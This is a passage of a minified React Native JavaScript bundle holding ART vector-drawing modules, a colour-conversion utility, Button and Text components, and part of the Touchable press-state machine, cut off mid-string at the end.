A.createElement(Y,{fill:y(e.fill,e),opacity:u(e),stroke:g(e.stroke),strokeCap:m(e.strokeCap),strokeDash:e.strokeDash||null,strokeJoin:v(e.strokeJoin),strokeWidth:s(e.strokeWidth,1),transform:a(e),d:n})}}]),t}(A.Component),ne={},re=/^[\\s\"']*/,ie=/[\\s\"']*$/,le=/\\n/g,oe=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this.props,t=e.path,n=t?(t instanceof T?t:new T(t)).toJSON():null,r=S(e.font,o(e.children));return A.createElement(q,{fill:y(e.fill,e),opacity:u(e),stroke:g(e.stroke),strokeCap:m(e.strokeCap),strokeDash:e.strokeDash||null,strokeJoin:v(e.strokeJoin),strokeWidth:s(e.strokeWidth,1),transform:a(e),alignment:w(e.alignment),frame:r,path:n})}}]),t}(A.Component),se={LinearGradient:H,RadialGradient:x,Pattern:O,Transform:W,Path:T,Surface:L,Group:$,ClippingRectangle:B,Shape:te,Text:oe};n.exports=se},158);\n__d(function(t,r,e,n){var a={maroon:\"#800000\",red:\"#ff0000\",orange:\"#ffA500\",yellow:\"#ffff00\",olive:\"#808000\",purple:\"#800080\",fuchsia:\"#ff00ff\",white:\"#ffffff\",lime:\"#00ff00\",green:\"#008000\",navy:\"#000080\",blue:\"#0000ff\",aqua:\"#00ffff\",teal:\"#008080\",black:\"#000000\",silver:\"#c0c0c0\",gray:\"#808080\"},h=function(t,r){for(var e=[],n=0,a=t.length;n<a;n++)e[n]=r(t[n],n);return e},u=function t(r,e){if(r.isColor)this.red=r.red,this.green=r.green,this.blue=r.blue,this.alpha=r.alpha;else{var n=a[r];switch(n&&(r=n,e=\"hex\"),typeof r){case\"string\":e||(e=(e=r.match(/^rgb|^hsb|^hsl/))?e[0]:\"hex\");break;case\"object\":e=e||\"rgb\",r=r.toString();break;case\"number\":e=\"hex\",r=r.toString(16)}r=t[\"parse\"+e.toUpperCase()](r),this.red=r[0],this.green=r[1],this.blue=r[2],this.alpha=r[3]}this.isColor=!0},s=function(t,r,e){return Math.min(e,Math.max(r,t))},i=/([-.\\d]+\\%?)\\s*,\\s*([-.\\d]+\\%?)\\s*,\\s*([-.\\d]+\\%?)\\s*,?\\s*([-.\\d]*\\%?)/,o=/^#?([a-f0-9]{1,2})([a-f0-9]{1,2})([a-f0-9]{1,2})([a-f0-9]{0,2})$/i;u.parseRGB=function(t){return h(t.match(i).slice(1),function(t,r){return t&&(t=parseFloat(t)*(\"%\"==t[t.length-1]?2.55:1)),r<3?Math.round((t%=256)<0?t+256:t):s(\"\"===t?1:Number(t),0,1)})},u.parseHEX=function(t){return 1==t.length&&(t=t+t+t),h(t.match(o).slice(1),function(t,r){return 3==r?t?parseInt(t,16)/255:1:parseInt(1==t.length?t+t:t,16)})},u.parseHSB=function(t){var r=h(t.match(i).slice(1),function(t,r){return t&&(t=parseFloat(t)),0===r?Math.round((t%=360)<0?t+360:t):r<3?s(Math.round(t),0,100):s(\"\"===t?1:Number(t),0,1)}),e=r[3],n=Math.round(r[2]/100*255);if(0==r[1])return[n,n,n,e];var a=r[0],u=a%60,o=Math.round(r[2]*(100-r[1])/1e4*255),f=Math.round(r[2]*(6e3-r[1]*u)/6e5*255),l=Math.round(r[2]*(6e3-r[1]*(60-u))/6e5*255);switch(Math.floor(a/60)){case 0:return[n,l,o,e];case 1:return[f,n,o,e];case 2:return[o,n,l,e];case 3:return[o,f,n,e];case 4:return[l,o,n,e];default:return[n,o,f,e]}},u.parseHSL=function(t){var r=h(t.match(i).slice(1),function(t,r){return t&&(t=parseFloat(t)),0===r?Math.round((t%=360)<0?t+360:t):r<3?s(Math.round(t),0,100):s(\"\"===t?1:Number(t),0,1)}),e=r[0]/60,n=r[1]/100,a=r[2]/100,u=r[3],o=(1-Math.abs(2*a-1))*n,f=o*(1-Math.abs(e%2-1)),l=a-o/2,c=Math.round(255*(o+l)),b=Math.round(255*(f+l)),d=Math.round(255*l);switch(Math.floor(e)){case 0:return[c,b,d,u];case 1:return[b,c,d,u];case 2:return[d,c,b,u];case 3:return[d,b,c,u];case 4:return[b,d,c,u];default:return[c,d,b,u]}};var f=function(t,r){return 1!=r[3]?t+=\"a\":r.pop(),t+\"(\"+r.join(\", \")+\")\"};u.prototype={toHSB:function(t){var r=this.red,e=this.green,n=this.blue,a=this.alpha,h=Math.max(r,e,n),u=Math.min(r,e,n),s=h-u,i=0,o=0!=s?s/h:0,l=h/255;if(o){var c=(h-r)/s,b=(h-e)/s,d=(h-n)/s;i=r==h?d-b:e==h?2+c-d:4+b-c,(i/=6)<0&&i++}var g=[Math.round(360*i),Math.round(100*o),Math.round(100*l),a];return t?g:f(\"hsb\",g)},toHSL:function(t){var r=this.red,e=this.green,n=this.blue,a=this.alpha,h=Math.max(r,e,n),u=Math.min(r,e,n),s=h-u,i=0,o=0!=s?s/(255-Math.abs(h+u-255)):0,l=(h+u)/512;if(o){var c=(h-r)/s,b=(h-e)/s,d=(h-n)/s;i=r==h?d-b:e==h?2+c-d:4+b-c,(i/=6)<0&&i++}var g=[Math.round(360*i),Math.round(100*o),Math.round(100*l),a];return t?g:f(\"hsl\",g)},toHEX:function(t){var r=this.alpha,e=1==(r=Math.round(255*r).toString(16)).length?r+r:r,n=h([this.red,this.green,this.blue],function(t){return t=t.toString(16),1==t.length?\"0\"+t:t});return t?n.concat(e):\"#\"+n.join(\"\")+(\"ff\"==e?\"\":e)},toRGB:function(t){var r=[this.red,this.green,this.blue,this.alpha];return t?r:f(\"rgb\",r)}},u.prototype.toString=u.prototype.toRGB,u.hex=function(t){return new u(t,\"hex\")},null==this.hex&&(this.hex=u.hex),u.hsb=function(t,r,e,n){return new u([t||0,r||0,e||0,null==n?1:n],\"hsb\")},null==this.hsb&&(this.hsb=u.hsb),u.hsl=function(t,r,e,n){return new u([t||0,r||0,e||0,null==n?1:n],\"hsl\")},null==this.hsl&&(this.hsl=u.hsl),u.rgb=function(t,r,e,n){return new u([t||0,r||0,e||0,null==n?1:n],\"rgb\")},null==this.rgb&&(this.rgb=u.rgb),u.detach=function(t){return t=new u(t),[u.rgb(t.red,t.green,t.blue).toString(),t.alpha]},e.exports=u},159);\n__d(function(t,i,n,h){\"use strict\";var o=i(161),s=i(162),e=0,p=1,u=2,a=3,r=4,c=o(s,{initialize:function(t){this.reset(),t instanceof c?this.path=t.path.slice(0):t&&(t.applyToPath?t.applyToPath(this):this.push(t))},onReset:function(){this.path=[]},onMove:function(t,i,n,h){this.path.push(e,n,h)},onLine:function(t,i,n,h){this.path.push(u,n,h)},onBezierCurve:function(t,i,n,h,o,s,e,p){this.path.push(a,n,h,o,s,e,p)},_arcToBezier:s.prototype.onArc,onArc:function(t,i,n,h,o,s,e,p,u,a,c,f){return e!==p||f?this._arcToBezier(t,i,n,h,o,s,e,p,u,a,c,f):void this.path.push(r,o,s,e,u,a,c?0:1)},onClose:function(){this.path.push(p)},toJSON:function(){return this.path}});n.exports=c},160);\n__d(function(t,i,n,o){n.exports=function(t){for(var i={},n=0,o=arguments.length;n<o;n++){var r=arguments[n];\"function\"==typeof r&&(r=r.prototype);for(var e in r)i[e]=r[e]}return i.initialize||(i.initialize=function(){}),i.constructor=function(t,n,o,r,e,c,u,f){return new i.initialize(t,n,o,r,e,c,u,f)},i.constructor.prototype=i.initialize.prototype=i,i.constructor}},161);\n__d(function(t,i,n,e){var s=i(161);n.exports=s({initialize:function(t){this.reset().push(t)},push:function(){var t=Array.prototype.join.call(arguments,\" \").match(/[a-df-z]|[\\-+]?(?:[\\d\\.]e[\\-+]?|[^\\s\\-+,a-z])+/gi);if(!t)return this;for(var i,n=t[0],e=1;n;){switch(n){case\"m\":this.move(t[e++],t[e++]);break;case\"l\":this.line(t[e++],t[e++]);break;case\"c\":this.curve(t[e++],t[e++],t[e++],t[e++],t[e++],t[e++]);break;case\"s\":this.curve(t[e++],t[e++],null,null,t[e++],t[e++]);break;case\"q\":this.curve(t[e++],t[e++],t[e++],t[e++]);break;case\"t\":this.curve(t[e++],t[e++]);break;case\"a\":this.arc(t[e+5],t[e+6],t[e],t[e+1],t[e+3],!+t[e+4],t[e+2]),e+=7;break;case\"h\":this.line(t[e++],0);break;case\"v\":this.line(0,t[e++]);break;case\"M\":this.moveTo(t[e++],t[e++]);break;case\"L\":this.lineTo(t[e++],t[e++]);break;case\"C\":this.curveTo(t[e++],t[e++],t[e++],t[e++],t[e++],t[e++]);break;case\"S\":this.curveTo(t[e++],t[e++],null,null,t[e++],t[e++]);break;case\"Q\":this.curveTo(t[e++],t[e++],t[e++],t[e++]);break;case\"T\":this.curveTo(t[e++],t[e++]);break;case\"A\":this.arcTo(t[e+5],t[e+6],t[e],t[e+1],t[e+3],!+t[e+4],t[e+2]),e+=7;break;case\"H\":this.lineTo(t[e++],this.penY);break;case\"V\":this.lineTo(this.penX,t[e++]);break;case\"Z\":case\"z\":this.close();break;default:n=i,e--;continue}i=n,\"m\"==i?i=\"l\":\"M\"==i&&(i=\"L\"),n=t[e++]}return this},reset:function(){return this.penX=this.penY=0,this.penDownX=this.penDownY=null,this._pivotX=this._pivotY=0,this.onReset(),this},move:function(t,i){return this.onMove(this.penX,this.penY,this._pivotX=this.penX+=+t,this._pivotY=this.penY+=+i),this},moveTo:function(t,i){return this.onMove(this.penX,this.penY,this._pivotX=this.penX=+t,this._pivotY=this.penY=+i),this},line:function(t,i){return this.lineTo(this.penX+ +t,this.penY+ +i)},lineTo:function(t,i){return null==this.penDownX&&(this.penDownX=this.penX,this.penDownY=this.penY),this.onLine(this.penX,this.penY,this._pivotX=this.penX=+t,this._pivotY=this.penY=+i),this},curve:function(t,i,n,e,s,h){var o=this.penX,r=this.penY;return this.curveTo(o+ +t,r+ +i,null==n?null:o+ +n,null==e?null:r+ +e,null==s?null:o+ +s,null==h?null:r+ +h)},curveTo:function(t,i,n,e,s,h){var o=this.penX,r=this.penY;return null==n&&(n=+t,e=+i,t=2*o-(this._pivotX||0),i=2*r-(this._pivotY||0)),null==s?(this._pivotX=+t,this._pivotY=+i,s=+n,h=+e,n=(s+2*+t)/3,e=(h+2*+i)/3,t=(o+2*+t)/3,i=(r+2*+i)/3):(this._pivotX=+n,this._pivotY=+e),null==this.penDownX&&(this.penDownX=o,this.penDownY=r),this.onBezierCurve(o,r,+t,+i,+n,+e,this.penX=+s,this.penY=+h),this},arc:function(t,i,n,e,s,h,o){return this.arcTo(this.penX+ +t,this.penY+ +i,n,e,s,h,o)},arcTo:function(t,i,n,e,s,h,o){if(e=Math.abs(+e||+n||+i-this.penY),n=Math.abs(+n||+t-this.penX),!n||!e||t==this.penX&&i==this.penY)return this.lineTo(t,i);var r=this.penX,a=this.penY,u=!+h,p=!!+s,c=o?o*Math.PI/180:0,l=Math.cos(c),v=Math.sin(c);t-=r,i-=a;var X=l*t/2+v*i/2,Y=-v*t/2+l*i/2,f=n*n*e*e,M=e*e*X*X,b=n*n*Y*Y,T=f-b-M;if(T<0)T=Math.sqrt(1-T/f),n*=T,e*=T,X=t/2,Y=i/2;else{T=Math.sqrt(T/(b+M)),p==u&&(T=-T);var k=-T*Y*n/e,w=T*X*e/n;X=l*k-v*w+t/2,Y=v*k+l*w+i/2}var _=l/n,D=v/n,z=-v/e,C=l/e,m=Math.atan2(z*-X+C*-Y,_*-X+D*-Y),B=Math.atan2(z*(t-X)+C*(i-Y),_*(t-X)+D*(i-Y));return X+=r,Y+=a,t+=r,i+=a,null==this.penDownX&&(this.penDownX=this.penX,this.penDownY=this.penY),this.onArc(r,a,this._pivotX=this.penX=t,this._pivotY=this.penY=i,X,Y,n,e,m,B,!u,o),this},counterArc:function(t,i,n,e,s){return this.arc(t,i,n,e,s,!0)},counterArcTo:function(t,i,n,e,s){return this.arcTo(t,i,n,e,s,!0)},close:function(){return null!=this.penDownX&&(this.onClose(this.penX,this.penY,this.penX=this.penDownX,this.penY=this.penDownY),this.penDownX=null),this},onReset:function(){},onMove:function(t,i,n,e){},onLine:function(t,i,n,e){this.onBezierCurve(t,i,t,i,n,e,n,e)},onBezierCurve:function(t,i,n,e,s,h,o,r){var a,u,p,c,l,v=o-t,X=r-i,Y=v*v+X*X;if(p=n-t,c=e-i,l=p*v+c*X,l>Y?(p-=v,c-=X):l>0&&0!=Y&&(p-=l/Y*v,c-=l/Y*X),a=p*p+c*c,p=s-t,c=h-i,l=p*v+c*X,l>Y?(p-=v,c-=X):l>0&&0!=Y&&(p-=l/Y*v,c-=l/Y*X),u=p*p+c*c,a<.01&&u<.01)return void this.onLine(t,i,o,r);if(isNaN(a)||isNaN(u))throw new Error(\"Bad input\");var f=.5*(n+s),M=.5*(e+h),b=.5*(n+t),T=.5*(e+i),k=.5*(b+f),w=.5*(T+M),_=.5*(o+s),D=.5*(r+h),z=.5*(_+f),C=.5*(D+M),m=.5*(k+z),B=.5*(w+C);this.onBezierCurve(t,i,b,T,k,w,m,B),this.onBezierCurve(m,B,z,C,_,D,o,r)},onArc:function(t,i,n,e,s,h,o,r,a,u,p,c){var l=c?c*Math.PI/180:0,v=Math.cos(l),X=Math.sin(l),Y=v*o,f=-X*r,M=X*o,b=v*r,T=u-a;T<0&&!p?T+=2*Math.PI:T>0&&p&&(T-=2*Math.PI);for(var k=Math.ceil(Math.abs(T/(Math.PI/2))),w=T/k,_=1.3333333333333333*Math.tan(w/4),D=Math.cos(a),z=Math.sin(a),C=0;C<k;C++){var m=D-_*z,B=z+_*D;a+=w,D=Math.cos(a),z=Math.sin(a);var d=D+_*z,A=z-_*D;this.onBezierCurve(t,i,s+Y*m+f*B,h+M*m+b*B,s+Y*d+f*A,h+M*d+b*A,t=s+Y*D+f*z,i=h+M*D+b*z)}},onClose:function(t,i,n,e){this.onLine(t,i,n,e)}})},162);\n__d(function(t,x,y,i){function n(t,x,y,i,n,r){return t&&\"object\"==typeof t&&(x=t.yx,i=t.yy,r=t.y,y=t.xy,n=t.x,t=t.xx),this.xx=null==t?1:t,this.yx=x||0,this.xy=y||0,this.yy=null==i?1:i,this.x=(null==n?this.x:n)||0,this.y=(null==r?this.y:r)||0,this._transform(),this}var r=x(161);y.exports=r({initialize:n,_transform:function(){},xx:1,yx:0,x:0,xy:0,yy:1,y:0,transform:function(t,x,y,i,n,r){var s=this;return t&&\"object\"==typeof t&&(x=t.yx,i=t.yy,r=t.y,y=t.xy,n=t.x,t=t.xx),n||(n=0),r||(r=0),this.transformTo(s.xx*t+s.xy*x,s.yx*t+s.yy*x,s.xx*y+s.xy*i,s.yx*y+s.yy*i,s.xx*n+s.xy*r+s.x,s.yx*n+s.yy*r+s.y)},transformTo:n,translate:function(t,x){return this.transform(1,0,0,1,t,x)},move:function(t,x){return this.x+=t||0,this.y+=x||0,this._transform(),this},scale:function(t,x){return null==x&&(x=t),this.transform(t,0,0,x,0,0)},rotate:function(t,x,y){null!=x&&null!=y||(x=(this.left||0)+(this.width||0)/2,y=(this.top||0)+(this.height||0)/2);var i=t*Math.PI/180,n=Math.sin(i),r=Math.cos(i);this.transform(1,0,0,1,x,y);var s=this;return this.transformTo(r*s.xx-n*s.yx,n*s.xx+r*s.yx,r*s.xy-n*s.yy,n*s.xy+r*s.yy,s.x,s.y).transform(1,0,0,1,-x,-y)},moveTo:function(t,x){var y=this;return this.transformTo(y.xx,y.yx,y.xy,y.yy,t,x)},rotateTo:function(t,x,y){var i=this,n=i.yx/i.xx>i.yy/i.xy?-1:1;return(i.xx<0?i.xy>=0:i.xy<0)&&(n=-n),this.rotate(t-180*Math.atan2(n*i.yx,n*i.xx)/Math.PI,x,y)},scaleTo:function(t,x){var y=this,i=Math.sqrt(y.xx*y.xx+y.yx*y.yx);return y.xx/=i,y.yx/=i,i=Math.sqrt(y.yy*y.yy+y.xy*y.xy),y.yy/=i,y.xy/=i,this.scale(t,x)},resizeTo:function(t,x){var y=this.width,i=this.height;return y&&i?this.scaleTo(t/y,x/i):this},inversePoint:function(t,x){var y=this.xx,i=this.yx,n=this.xy,r=this.yy,s=this.x,h=this.y,o=i*n-y*r;return 0==o?null:{x:(r*(s-t)+n*(x-h))/o,y:(y*(h-x)+i*(t-s))/o}},point:function(t,x){var y=this;return{x:y.xx*t+y.xy*x+y.x,y:y.yx*t+y.yy*x+y.y}}})},163);\n__d(function(e,t,s,i){\"use strict\";var r=t(41),l=(t(23),t(114)),o=t(111),n=t(144),a=t(165),b=(t(173),t(174)),c=t(110),p=t(13),u=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this.props,t=e.accessibilityLabel,s=e.color,i=e.onPress,r=e.title,o=e.disabled,n=e.testID,u=[d.button],y=[d.text];s&&y.push({color:s});var h=[\"button\"];o&&(u.push(d.buttonDisabled),y.push(d.textDisabled),h.push(\"disabled\")),p(\"string\"==typeof r,\"The title prop of a Button must be a string\");var f=r,g=b;return l.createElement(g,{accessibilityComponentType:\"button\",accessibilityLabel:t,accessibilityTraits:h,testID:n,disabled:o,onPress:i},l.createElement(c,{style:u},l.createElement(a,{style:y,disabled:o},f)))}}]),t}(l.Component);u.propTypes={title:o.string.isRequired,accessibilityLabel:o.string,color:r,disabled:o.bool,onPress:o.func.isRequired,testID:o.string};var d=n.create({button:{},text:{color:\"#007AFF\",textAlign:\"center\",padding:8,fontSize:18},buttonDisabled:{},textDisabled:{color:\"#cdcdcd\"}});s.exports=u},164);\n__d(function(e,s,t,n){\"use strict\";var o=s(41),i=s(131),r=s(43),l=(s(23),s(114)),a=s(111),p=s(129),h=s(138),d=s(123),u=s(166),c=s(140),b=s(149),g=s(172),f=s(125),R=h(d),H={validAttributes:g(p.UIView,{isHighlighted:!0,numberOfLines:!0,ellipsizeMode:!0,allowFontScaling:!0,disabled:!0,selectable:!0,selectionColor:!0,adjustsFontSizeToFit:!0,minimumFontScale:!0,textBreakStrategy:!0}),uiViewClassName:\"RCTText\"},P=c({displayName:\"Text\",propTypes:{ellipsizeMode:a.oneOf([\"head\",\"middle\",\"tail\",\"clip\"]),numberOfLines:a.number,textBreakStrategy:a.oneOf([\"simple\",\"highQuality\",\"balanced\"]),onLayout:a.func,onPress:a.func,onLongPress:a.func,pressRetentionOffset:i,selectable:a.bool,selectionColor:o,suppressHighlighting:a.bool,style:R,testID:a.string,nativeID:a.string,allowFontScaling:a.bool,accessible:a.bool,adjustsFontSizeToFit:a.bool,minimumFontScale:a.number,disabled:a.bool},getDefaultProps:function(){return{accessible:!0,allowFontScaling:!0,ellipsizeMode:\"tail\",disabled:!1}},getInitialState:function(){return g(u.Mixin.touchableGetInitialState(),{isHighlighted:!1})},mixins:[r],viewConfig:H,getChildContext:function(){return{isInAParentText:!0}},childContextTypes:{isInAParentText:a.bool},contextTypes:{isInAParentText:a.bool},_handlers:null,_hasPressHandler:function(){return!!this.props.onPress||!!this.props.onLongPress},touchableHandleActivePressIn:null,touchableHandleActivePressOut:null,touchableHandlePress:null,touchableHandleLongPress:null,touchableGetPressRectOffset:null,render:function(){var e=this,s=this.props;return(this.props.onStartShouldSetResponder||this._hasPressHandler())&&(this._handlers||(this._handlers={onStartShouldSetResponder:function(){var s=e.props.onStartShouldSetResponder&&e.props.onStartShouldSetResponder(),t=s||e._hasPressHandler();if(t&&!e.touchableHandleActivePressIn){for(var n in u.Mixin)\"function\"==typeof u.Mixin[n]&&(e[n]=u.Mixin[n].bind(e));e.touchableHandleActivePressIn=function(){!e.props.suppressHighlighting&&e._hasPressHandler()&&e.setState({isHighlighted:!0})},e.touchableHandleActivePressOut=function(){!e.props.suppressHighlighting&&e._hasPressHandler()&&e.setState({isHighlighted:!1})},e.touchableHandlePress=function(s){e.props.onPress&&e.props.onPress(s)},e.touchableHandleLongPress=function(s){e.props.onLongPress&&e.props.onLongPress(s)},e.touchableGetPressRectOffset=function(){return this.props.pressRetentionOffset||m}}return t},onResponderGrant:function(e,s){this.touchableHandleResponderGrant(e,s),this.props.onResponderGrant&&this.props.onResponderGrant.apply(this,arguments)}.bind(this),onResponderMove:function(e){this.touchableHandleResponderMove(e),this.props.onResponderMove&&this.props.onResponderMove.apply(this,arguments)}.bind(this),onResponderRelease:function(e){this.touchableHandleResponderRelease(e),this.props.onResponderRelease&&this.props.onResponderRelease.apply(this,arguments)}.bind(this),onResponderTerminate:function(e){this.touchableHandleResponderTerminate(e),this.props.onResponderTerminate&&this.props.onResponderTerminate.apply(this,arguments)}.bind(this),onResponderTerminationRequest:function(){var e=this.touchableHandleResponderTerminationRequest();return e&&this.props.onResponderTerminationRequest&&(e=this.props.onResponderTerminationRequest.apply(this,arguments)),e}.bind(this)}),s=babelHelpers.extends({},this.props,this._handlers,{isHighlighted:this.state.isHighlighted})),null!=s.selectionColor&&(s=babelHelpers.extends({},s,{selectionColor:f(s.selectionColor)})),u.TOUCH_TARGET_DEBUG&&s.onPress&&(s=babelHelpers.extends({},s,{style:[this.props.style,{color:\"magenta\"}]})),this.context.isInAParentText?l.createElement(T,s):l.createElement(S,s)}}),m={top:20,left:20,right:20,bottom:30},S=b(H),T=S;t.exports=P},165);\n__d(function(E,t,e,R){\"use strict\";var i=t(167),_=t(23),s=t(169),S=(t(114),t(44)),o=t(170),n=t(171),a=t(63),l=(t(110),t(118)),N=(t(42),l({NOT_RESPONDER:null,RESPONDER_INACTIVE_PRESS_IN:null,RESPONDER_INACTIVE_PRESS_OUT:null,RESPONDER_ACTIVE_PRESS_IN:null,RESPONDER_ACTIVE_PRESS_OUT:null,RESPONDER_ACTIVE_LONG_PRESS_IN:null,RESPONDER_ACTIVE_LONG_PRESS_OUT:null,ERROR:null})),T={RESPONDER_ACTIVE_PRESS_OUT:!0,RESPONDER_ACTIVE_PRESS_IN:!0},h={RESPONDER_INACTIVE_PRESS_IN:!0,RESPONDER_ACTIVE_PRESS_IN:!0,RESPONDER_ACTIVE_LONG_PRESS_IN:!0},P={RESPONDER_ACTIVE_LONG_PRESS_IN:!0},O=l({DELAY:null,RESPONDER_GRANT:null,RESPONDER_RELEASE:null,RESPONDER_TERMINATED:null,ENTER_PRESS_RECT:null,LEAVE_PRESS_RECT:null,LONG_PRESS_DETECTED:null}),u={NOT_RESPONDER:{DELAY:N.ERROR,RESPONDER_GRANT:N.RESPONDER_INACTIVE_PRESS_IN,RESPONDER_RELEASE:N.ERROR,RESPONDER_TERMINATED:N.ERROR,ENTER_PRESS_RECT:N.ERROR,LEAVE_PRESS_RECT:N.ERROR,LONG_PRESS_DETECTED:N.ERROR},RESPONDER_INACTIVE_PRESS_IN:{DELAY:N.RESPONDER_ACTIVE_PRESS_IN,RESPONDER_GRANT:N.ERROR,RESPONDER_RELEASE:N.NOT_RESPONDER,RESPONDER_TERMINATED:N.NOT_RESPONDER,ENTER_PRESS_RECT:N.RESPONDER_INACTIVE_PRESS_IN,LEAVE_PRESS_RECT:N.RESPONDER_INACTIVE_PRESS_OUT,LONG_PRESS_DETECTED:N.ERROR},RESPONDER_INACTIVE_PRESS_OUT:{DELAY:N.RESPONDER_ACTIVE_PRESS_OUT,RESPONDER_GRANT:N.ERROR,RESPONDER_RELEASE:N.NOT_RESPONDER,RESPONDER_TERMINATED:N.NOT_RESPONDER,ENTER_PRESS_RECT:N.RESPONDER_INACTIVE_PRESS_IN,LEAVE_PRESS_RECT:N.RESPONDER_INACTIVE_PRESS_OUT,LONG_PRESS_DETECTED:N.ERROR},RESPONDER_ACTIVE_PRESS_IN:{DELAY:N.ERROR,RESPONDER_GRANT:N.ERROR,RESPONDER_RELEASE:N.NOT_RESPONDER,RESPONDER_TERMINATED:N.NOT_RESPONDER,ENTER_PRESS_RECT:N.RESPONDER_ACTIVE_PRESS_IN,LEAVE_PRESS_RECT:N.RESPONDER_ACTIVE_PRESS_OUT,LONG_PRESS_DETECTED:N.RESPONDER_ACTIVE_LONG_PRESS_IN},RESPONDER_ACTIVE_PRESS_OUT:{DELAY:N.ERROR,RESPONDER_GRANT:N.ERROR,RESPONDER_RELEASE:N.NOT_RESPONDER,RESPONDER_TERMINATED:N.NOT_RESPONDER,ENTER_PRESS_RECT:N.RESPONDER_ACTIVE_PRESS_IN,LEAVE_PRESS_RECT:N.RESPONDER_ACTIVE_PRESS_OUT,LONG_PRESS_DETECTED:N.ERROR},RESPONDER_ACTIVE_LONG_PRESS_IN:{DELAY:N.ERROR,RESPONDER_GRANT:N.ERROR,RESPONDER_RELEASE:N.NOT_RESPONDER,RESPONDER_TERMINATED:N.NOT_RESPONDER,ENTER_PRESS_RECT:N.RESPONDER_ACTIVE_LONG_PRESS_IN,LEAVE_PRESS_RECT:N.RESPONDER_ACTIVE_LONG_PRESS_OUT,LONG_PRESS_DETECTED:N.RESPONDER_ACTIVE_LONG_PRESS_IN},RESPONDER_ACTIVE_LONG_PRESS_OUT:{DELAY:N.ERROR,RESPONDER_GRANT:N.ERROR,RESPONDER_RELEASE:N.NOT_RESPONDER,RESPONDER_TERMINATED:N.NOT_RESPONDER,ENTER_PRESS_RECT:N.RESPONDER_ACTIVE_LONG_PRESS_IN,LEAVE_PRESS_RECT:N.RESPONDER_ACTIVE_LONG_PRESS_OUT,LONG_PRESS_DETECTED:N.ERROR},error:{DELAY:N.NOT_RESPONDER,RESPONDER_GRANT:N.RESPONDER_INACTIVE_PRESS_IN,RESPONDER_RELEASE:N.NOT_RESPONDER,RESPONDER_TERMINATED:N.NOT_RESPONDER,ENTER_PRESS_RECT:N.NOT_RESPONDER,LEAVE_PRESS_RECT:N.NOT_RESPONDER,LONG_PRESS_DETECTED:N.NOT_RESPONDER}},r=130,D=20,c=500,A=c-r,I=10,d={componentDidMount:function(){_.isTVOS&&(this._tvEventHandler=new o,this._tvEventHandler.enable(this,function(E,t){var e=S.findNodeHandle(E);t.dispatchConfig={},e===t.tag&&(\"focus\"===t.eventType?E.touchableHandleActivePressIn&&E.touchableHandleActivePressIn(t):\"blur\"===t.eventType?E.touchableHandleActivePressOut&&E.touchableHandleActivePressOut(t):\"select\"===t.eventType&&E.touchableHandlePress&&E.touchableHandlePress(t))}))},componentWillUnmount:function(){this._tvEventHandler&&(this._tvEventHandler.disable(),delete this._tvEventHandler),this.touchableDelayTimeout&&clearTimeout(this.touchableDelayTimeout),this.longPressDelayTimeout&&clearTimeout(this.longPressDelayTimeout),this.pressOutDelayTimeout&&clearTimeout(this.pressOutDelayTimeout)},touchableGetInitialState:function(){return{touchable:{touchState:void 0,responderID:null}}},touchableHandleResponderTerminationRequest:function(){return!this.props.rejectResponderTermination},touchableHandleStartShouldSetResponder:function(){return!this.props.disabled},touchableLongPressCancelsPress:function(){return!0},touchableHandleResponderGrant:function(E){var t=E.currentTarget;E.persist(),this.pressOutDelayTimeout&&clearTimeout(this.pressOutDelayTimeout),this.pressOutDelayTimeout=null,this.state.touchable.touchState=N.NOT_RESPONDER,this.state.touchable.responderID=t,this._receiveSignal(O.RESPONDER_GRANT,E);var e=void 0!==this.touchableGetHighlightDelayMS?Math.max(this.touchableGetHighlightDelayMS(),0):r;e=isNaN(e)?r:e,0!==e?this.touchableDelayTimeout=setTimeout(this._handleDelay.bind(this,E),e):this._handleDelay(E);var R=void 0!==this.touchableGetLongPressDelayMS?Math.max(this.touchableGetLongPressDelayMS(),10):A;R=isNaN(R)?A:R,this.longPressDelayTimeout=setTimeout(this._handleLongDelay.bind(this,E),R+e)},touchableHandleResponderRelease:function(E){this._receiveSignal(O.RESPONDER_RELEASE,E)},touchableHandleResponderTerminate:function(E){this._receiveSignal(O.RESPONDER_TERMINATED,E)},touchableHandleResponderMove:function(E){if(this.state.touchable.touchState!==N.RESPONDER_INACTIVE_PRESS_IN&&this.state.touchable.positionOnActivate){var t=this.state.touchable.positionOnActivate,e=this.state.touchable.dimensionsOnActivate,R=this.touchableGetPressRectOffset?this.touchableGetPressRectOffset():{left:D,right:D,top:D,bottom:D},i=R.left,_=R.top,s=R.right,S=R.bottom,o=this.touchableGetHitSlop?this.touchableGetHitSlop():null;o&&(i+=o.left,_+=o.top,s+=o.right,S+=o.bottom);var a=n.extractSingleTouch(E.nativeEvent),l=a&&a.pageX,T=a&&a.pageY;if(this.pressInLocation){var h=this._getDistanceBetweenPoints(l,T,this.pressInLocation.pageX,this.pressInLocation.pageY);h>I&&this._cancelLongPressDelayTimeout()}var P=l>t.left-i&&T>t.top-_&&l<t.left+e.width+s&&T<t.top+e.height+S;if(P){this._receiveSignal(O.ENTER_PRESS_RECT,E);var u=this.state.touchable.touchState;u===N.RESPONDER_INACTIVE_PRESS_IN&&this._cancelLongPressDelayTimeout()}else this._cancelLongPressDelayTimeout(),this._receiveSignal(O.LEAVE_PRESS_RECT,E)}},_remeasureMetricsOnActivation:function(){var E=this.state.touchable.responderID;null!=E&&a.measure(E,this._handleQueryLayout)},_handleQueryLayout:function(E,t,e,R,_,S){(E||t||e||R||_||S)&&(this.state.touchable.positionOnActivate&&s.release(this.state.touchable.positionOnActivate),this.state.touchable.dimensionsOnActivate&&i.release(this.state.touchable.dimensionsOnActivate),this.state.touchable.positionOnActivate=s.getPooled(_,S),this.state.touchable.dimensionsOnActivate=i.getPooled(e,R))},_handleDelay:function(E){this.touchableDelayTimeout=null,this._receiveSignal(O.DELAY,E)},_handleLongDelay:function(E){this.longPressDelayTimeout=null;var t=this.state.touchable.touchState;t!==N.RESPONDER_ACTIVE_PRESS_IN&&t!==N.RESPONDER_ACTIVE_LONG_PRESS_IN?console.error(\"Attempted to transition from state `\"+t+\"` to `\"+N.RESPONDER_ACTIVE_LONG_PRESS_IN+\"`, 